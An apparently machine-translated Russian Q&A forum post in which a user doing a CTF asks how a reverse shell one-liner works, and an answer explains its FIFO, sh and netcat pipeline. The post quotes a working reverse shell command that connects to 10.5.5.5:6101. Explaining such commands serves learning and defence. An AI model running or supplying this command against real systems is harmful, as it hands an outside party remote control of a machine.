Что на самом деле делает этот код?

Что на самом деле делает этот код?

Во время выполнения задания CTF на платформе мне понадобился обратный шелл, но я не смог его заставить работать, поэтому я посмотрел на процессы и нашел один код обратного шелл:

rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 10.5.5.5 6101 >/tmp/m

Что на самом деле сработало, но я не могу понять, как работают каналы, куда они отправляют данные и т. д. Может ли кто-нибудь объяснить это?

решение1

Это устанавливает удаленно управляемую оболочку в системе. Входы и выходы следующие:

  • cat /tmp/mсчитывает данные из /tmp/mFIFO и записывает их в ...
  • |/bin/sh -i 2>&1который выполняет прочитанные команды и отправляет свой вывод (как стандартный вывод, так и стандартную ошибку) в ...
  • |nc 10.5.5.5 6101который подключается к 10.5.5.5:6101 и пишет в
  • >/tmp/mФИФО.

Таким образом, удаленная система может подавать команды, которые передаются через nc, записываются в FIFO, считываются cat, интерпретируются sh, а вывод этих команд отправляется обратно в удаленную систему через nc.

Связанный контент